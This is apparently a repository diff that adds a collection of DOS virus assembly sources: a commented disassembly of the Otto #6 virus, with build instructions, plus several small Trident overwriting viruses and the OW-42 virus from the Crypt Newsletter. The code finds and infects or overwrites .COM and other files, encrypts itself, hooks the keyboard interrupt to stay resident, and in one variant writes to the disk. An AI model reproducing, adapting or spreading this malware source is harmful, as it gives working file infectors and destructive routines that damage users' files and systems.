jmp bp ; Jump to start of virgin code
|
||||
otto_vir endp
|
||||
|
||||
encrypt proc near
|
||||
encryption:
|
||||
mov ah,[si]
|
||||
xor ah,al
|
||||
mov [si],ah
|
||||
inc si
|
||||
ror al,1 ; Rotate
|
||||
loop encryption
|
||||
|
||||
retn
|
||||
encrypt endp
|
||||
|
||||
db 'OTTO VIRUS written by:OTTO '
|
||||
enc_ax dw 4353h ; Encryption shit loaded in AX
|
||||
enc_dh db 48h ; Encryption shit loaded in DH
|
||||
db 54h
|
||||
adj_ptr_loc dw 4355h ; Adjusted file pointer
|
||||
; location (ptr_loc-3 bytes)
|
||||
work db 4Bh ; A work buffer
|
||||
ptr_loc db 20h ; File pointer location
|
||||
copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES '
|
||||
db '1992 (tm.)PQR'
|
||||
;---
|
||||
; Everything below here appeared as a bunch of hex shit I had to convert...
|
||||
;---
|
||||
|
||||
move_ptr_start proc near
|
||||
mov ax,4200h ; Move fp to start (B80042)
|
||||
xor cx,cx ; (33C9)
|
||||
xor dx,dx ; (33D2)
|
||||
int 21h ; Call DOS (CD21)
|
||||
pop dx ; (5A)
|
||||
pop cx ; (59)
|
||||
pop ax ; (58)
|
||||
ret ; (C3)
|
||||
move_ptr_start endp
|
||||
|
||||
filespec db '*.COM',0 ; Location 295h
|
||||
|
||||
three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh)
|
||||
new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh)
|
||||
push ax ; Loc 2A1h
|
||||
dec bp ; Loc 2A2h
|
||||
db 00h ; Loc 2A3h
|
||||
|
||||
code ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,337 @@
|
|||
; Otto #6 Virus, By Youth Against McAfee
|
||||
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
|
||||
; Infectious Diseases 3 and some other uses...
|
||||
|
||||
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
|
||||
; TLINK /t otto5.obj
|
||||
|
||||
; The assembled code will NOT execute... a big thanks to YAM for that one! The
|
||||
; only workaround I got is to trace thru til the mov [00FFh], al, and just
|
||||
; move the ip ahead to startencrypt!
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
db 0e9h, 02, 00 ; jmp near virusentry
|
||||
|
||||
nop ; they had to be here
|
||||
nop ; in the original
|
||||
|
||||
virusentry:
|
||||
call getdelta ; get delta ofs
|
||||
getdelta:
|
||||
pop si
|
||||
push si
|
||||
|
||||
sub si,offset getdelta ; sub original ofs
|
||||
|
||||
pop ax ; delta in ax
|
||||
sub ax,100h
|
||||
|
||||
mov ds:[00FFh],al ; ds:00FFh == al
|
||||
push si ; save delta
|
||||
|
||||
mov cx,260h ; ieterations
|
||||
add si,offset startencrypt
|
||||
cryptloop:
|
||||
xor [si],al ; xor
|
||||
inc si
|
||||
rol al,1 ; rotate
|
||||
loop cryptloop ; loop if cx > 0
|
||||
pop si ; delta in si
|
||||
|
||||
startencrypt:
|
||||
mov ax,word ptr ds:[first3+si] ; restore first
|
||||
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
|
||||
mov word ptr ds:[100h],ax
|
||||
mov byte ptr ds:[102h],dh
|
||||
|
||||
lea dx,[si+file] ; find *.COM
|
||||
xor cx,cx
|
||||
mov ah,4Eh
|
||||
findfirstnext:
|
||||
int 21h
|
||||
|
||||
jnc checkinfected ; carry?
|
||||
jmp takeithome ; no more files
|
||||
|
||||
checkinfected: ; check file
|
||||
mov dx,offset 9Eh ; filename in default
|
||||
mov ax,3D02h ; dta
|
||||
int 21h ; open file r/w
|
||||
|
||||
mov bx,ax ; handle in BX
|
||||
|
||||
mov ax,5700h ; get file date
|
||||
int 21h
|
||||
|
||||
cmp cl,3 ; cl = 3?
|
||||
jne infectitthen ; nope
|
||||
|
||||
mov ah,3Eh ; infected, close
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ; find next *.COM
|
||||
jmp short findfirstnext ; again
|
||||
|
||||
infectitthen: ; infect the file
|
||||
push cx ; push time
|
||||
push dx ; push date
|
||||
call lseekstart ; lseek beginning
|
||||
|
||||
lea dx,[si+first3] ; buffer at first3
|
||||
mov cx,3 ; read 3 bytes
|
||||
mov ah,3Fh
|
||||
int 21h
|
||||
|
||||
xor cx,cx ; lseek the end
|
||||
xor dx,dx ; fileside DX:AX
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
; 4D1h
|
||||
mov word ptr ds:[fsize+si],ax ; save fsize
|
||||
sub ax,3 ; calculate jump
|
||||
mov word ptr ds:[fsize2+si],ax
|
||||
call lseekstart
|
||||
add ax,6 ; fsize+3
|
||||
|
||||
mov byte ptr ds:[lob+si],al ; lob of fsize+3
|
||||
mov cx,word ptr ds:[fsize+si] ; size of file
|
||||
lea dx,[si+heap] ; point at buffer
|
||||
mov ah,3Fh
|
||||
int 21h ; read
|
||||
|
||||
push si ; push delta
|
||||
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
|
||||
add si,offset ds:[heap+3] ; point at code
|
||||
call encrypt ; encrypt original
|
||||
pop si ; pop delta
|
||||
call lseekstart ; lseek beginning
|
||||
|
||||
mov cx,word ptr ds:[fsize+si] ; fsize
|
||||
lea dx,[si+heap] ; buffer at heap
|
||||
mov ah,40h ; write file
|
||||
int 21h
|
||||
|
||||
jnc finishinfect ; error (attributes)
|
||||
jmp short takeithome ; yes
|
||||
finishinfect:
|
||||
lea dx,[si+virusentry] ; write encrypter
|
||||
mov cx,startencrypt-virusentry ; to file
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
push si ; push delta
|
||||
mov cx,heap-startencrypt ; virus length-crypt
|
||||
; mov di,si ; delta in di
|
||||
db 89h, 0F7h ; alternate encoding
|
||||
add di,offset ds:[heap] ; point at heap
|
||||
add si,offset ds:[startencrypt] ; point at virus
|
||||
rep movsb ; copy code to heap
|
||||
pop si ; pop delta
|
||||
|
||||
push si ; push delta
|
||||
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
|
||||
mov cx,heap-startencrypt ; virus length
|
||||
add si,offset ds:[heap] ; buffer at heap
|
||||
call encrypt ; encrypt heap
|
||||
pop si ; pop delta
|
||||
|
||||
mov cx,heap-startencrypt ; virus length
|
||||
lea dx,[si+heap] ; buffer at heap
|
||||
mov ah,40h ; write virus
|
||||
int 21h
|
||||
jc takeithome ; error?
|
||||
|
||||
call lseekstart
|
||||
|
||||
lea dx,[si+jump] ; buffer at jump
|
||||
mov ah,40h ; write jump
|
||||
mov cx,3
|
||||
int 21h
|
||||
jc takeithome ; error?
|
||||
|
||||
pop dx ; pop date
|
||||
pop cx ; pop time
|
||||
mov cl,3 ; set infected flag
|
||||
mov ax,5701h ; set time
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
int 21h
|
||||
|
||||
takeithome:
|
||||
push si ; push delta
|
||||
mov al, byte ptr ds:[00FFh] ; saved xor byte
|
||||
xor cx,cx
|
||||
; add cx,si ; the pricks use
|
||||
db 01, 0f1h ; alternate encoding
|
||||
add cx,3 ; ieterations in cx
|
||||
mov bp,103h
|
||||
mov si,bp ; unencrypt old code
|
||||
call encrypt
|
||||
pop si ; pop delta
|
||||
|
||||
mov bp,100h ; where to RET to
|
||||
|
||||
mov ax,0B0Bh ; RuThereCall
|
||||
int 9
|
||||
|
||||
cmp ax,0BEEFh ; if beefy, it's
|
||||
je skipinstall ; installed
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax ; interrupt table
|
||||
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
|
||||
|
||||
push bp ; push ret addr
|
||||
mov bp,offset ds:[old9] ; JMP FAR PTR
|
||||
mov cs:[bp+si+1],bx ; offset
|
||||
mov cs:[bp+si+3],ds ; segment
|
||||
pop bp ; pop ret addr
|
||||
|
||||
mov bx,es
|
||||
dec bx ; our MCB paragraph
|
||||
mov ds,bx
|
||||
sub word ptr ds:[0003],80h ; allow for us to get
|
||||
; some memory
|
||||
mov ax, word ptr ds:[0012h] ; 1st unused segment
|
||||
sub ax,80h
|
||||
mov word ptr ds:[0012h],ax ; replace valu
|
||||
|
||||
mov es,ax ; es = our new seg
|
||||
push cs ; ds = cs
|
||||
pop ds
|
||||
xor di,di ; es:0000 = dest.
|
||||
; mov bx,si ; more alternate
|
||||
db 89h, 0f3h ; encoding!!
|
||||
lea si,[bx+our9] ; buffer at our9
|
||||
mov cx,200 ; more than enough
|
||||
rep movsb ; copy 200 bytes
|
||||
|
||||
mov ds,cx ; cx = 0000
|
||||
mov word ptr ds:[9*4],0 ; offset (int 9)
|
||||
mov word ptr ds:[9*4+2],es ; segment (int 9)
|
||||
skipinstall:
|
||||
push cs ; restore segments
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
push bp ; return to 100h
|
||||
ret
|
||||
|
||||
encrypt: ; encrypt
|
||||
xor [si],al ; xor
|
||||
inc si
|
||||
rol al,1 ; rotate left
|
||||
loop encrypt ; Loop if cx > 0
|
||||
ret
|
||||
|
||||
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
|
||||
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
|
||||
|
||||
lseekstart:
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
mov ax, 4200h ; lseek beginning
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
our9: ; our int9 handler
|
||||
cmp ax, 0B0Bh
|
||||
jnz NotRuThere ; not an ruthere
|
||||
mov ax, 0BEEFh
|
||||
IRet ; int return
|
||||
NotRuThere:
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push ds
|
||||
|
||||
xor ax,ax ; BIOS segment
|
||||
mov ds,ax
|
||||
in al,60h ; get keyboard input
|
||||
mov bl, byte ptr ds:[0417h] ; get shift status
|
||||
test bl,08 ; alt pressed?
|
||||
jz removeregistersandleave ; no
|
||||
test bl,04 ; ctrl pressed?
|
||||
jz whyisthishere ; no
|
||||
cmp al, 53h ; delete?
|
||||
jnz removeregistersandleave ; nope!
|
||||
and bl,0F3h ; mask off bits
|
||||
mov byte ptr ds:[0417h],bl ; place in bios
|
||||
jmp onwardbuttheads ; go on
|
||||
|
||||
whyisthishere:
|
||||
cmp al,4Ah ; why is this here?
|
||||
jne removeregistersandleave
|
||||
removeregistersandleave:
|
||||
pop ds ; remove registers
|
||||
pop bx
|
||||
pop ax
|
||||
; jmp returntoold9 ; more wierd
|
||||
db 0e9h, 20h, 00 ; encoding!
|
||||
|
||||
onwardbuttheads:
|
||||
push cs ; ds = cs
|
||||
pop ds
|
||||
|
||||
mov ax,3 ; 80x25 text mode
|
||||
int 10h
|
||||
|
||||
mov ah,2 ; set cpos
|
||||
mov bh,0
|
||||
mov dx,0A14h ; 10,20
|
||||
int 10h
|
||||
|
||||
mov si,yamlogo-our9 ; point to logo
|
||||
pointlessloop:
|
||||
loop pointlessloop
|
||||
|
||||
lodsb ; load string byte
|
||||
|
||||
cmp al,0 ; end of string?
|
||||
je coldbootus ; yes
|
||||
|
||||
mov ah,0Eh ; display char in al
|
||||
int 10h
|
||||
|
||||
jmp short pointlessloop
|
||||
|
||||
returntoold9:
|
||||
old9 db 0EAh ; JMP FAR PTR
|
||||
dd 00000000 ; Int 9h
|
||||
|
||||
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
|
||||
db ' ',0
|
||||
|
||||
coldbootus:
|
||||
mov dx,28h
|
||||
mov ds,dx ; DS = 0028h
|
||||
mov word ptr ds:[0072h],0 ; DS:0072h=0
|
||||
|
||||
; the above does nothing, as the byte they are looking to modify is
|
||||
; the warm-boot status byte, at 0040:0072h... duh...
|
||||
|
||||
db 0EAh ; JMP FAR PTR
|
||||
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
|
||||
|
||||
file db '*.COM',0 ; search wildcard
|
||||
|
||||
first3 db 0CDh, 20h, 00h ; buffered 1st 3
|
||||
|
||||
jump db 0E9h ; jmp near
|
||||
fsize2 db 50h, 01h
|
||||
|
||||
lob db 56h ; lob of fsize+3
|
||||
|
||||
fsize db 53h, 01h ; filesize
|
||||
|
||||
heap:
|
||||
end start
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,28 @@
|
|||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc On2
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Ah
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Db 'Trident'
|
||||
On2: Mov Ah,2ch
|
||||
Int 21h
|
||||
Cmp Dl,10
|
||||
Ja Ende
|
||||
Mov Al,2
|
||||
Xor Dx,Dx
|
||||
Int 25h
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,20 @@
|
|||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc Ende
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,19 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov bh,40h
|
||||
Mov Cl,Length
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On2
|
||||
On1: Ret
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,17 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ah,3dh
|
||||
inc ax
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
On1: Jmp On2
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,14 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
On1: Ret
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,13 @@
|
|||
Main: Lea Dx,FileSpec
|
||||
Mov Ah,4eh
|
||||
Int 21h
|
||||
Mov Dx,9eh
|
||||
Mov Ah,3ch
|
||||
Int 21h
|
||||
Lea Dx,Main
|
||||
Mov Bh,40h
|
||||
Mov Cl,Length
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,13 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,13 @@
|
|||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
On2: Int 21h
|
||||
Mov Dl,Length
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,39 @@
|
|||
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
|
||||
;
|
||||
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
|
||||
|
||||
org 0100h
|
||||
|
||||
start: mov ah,4Eh ; find first file
|
||||
recurse:
|
||||
mov dx,0123h ; matching filemask, "*.*"
|
||||
int 21h
|
||||
|
||||
|
||||
db 72h,20h ;hand-coded jump on carry to
|
||||
;exit if no more files found
|
||||
mov ax,3D01h
|
||||
mov dx,009Eh
|
||||
int 21h
|
||||
|
||||
mov bh,40h
|
||||
mov dx,0100h ;starting from beginning
|
||||
xchg ax,bx ;put handle in ax
|
||||
mov cl,2Ah ;to write: 42 bytes of virus
|
||||
int 21h ;write the virus
|
||||
mov ah,3Eh ;close the file
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
jmp Short recurse
|
||||
|
||||
|
||||
db "*.COM" ;file_mask
|
||||
dw 0C300h ;hand-coded return
|
||||
|
||||
CODE ENDS
|
||||
END START
|
||||
|
Loading…
Reference in New Issue